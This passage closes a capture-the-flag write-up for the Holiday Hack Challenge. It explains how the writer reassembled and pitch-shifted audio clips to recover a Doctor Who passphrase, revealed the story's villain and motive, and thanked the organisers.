We start by chaining the audio files together, ordered acording to their numbering. But that is not enough; so we have to tweak the sound, both in terms of speed and pitch. After some tweaking, we hear a voice saying: Father Christmas, Santa Claus. Or, as I've always known him, Jeff.

Googling this phrase refer us to a christmas episode of Doctor Who. Does this mean that Who abducted Santa, literally? The TARDIS on Santa’s desk suddenly make much more sense now.

Doctor Who is the villain behind the nefarious plot; but why?

10) Why had the villain abducted Santa?

If we use this passphrase on the door in the corridor behind Santa’s bookshelf, if will unlock. Up at the top, we find none else than Doctor Who, which confirm that he was the one that abducted Santa. He also justifies it by trying to stop the Star Wars Holiday Special from ever being released, and abducting Santa and using his North Pole Wonderland Magick could prevent it from being released.


Thank you for the great Holiday Hack Challenge. I really had a blast, and think that the vast majority did. Kudos to the entire team behind Holiday Hack Challenge, and a happy new year!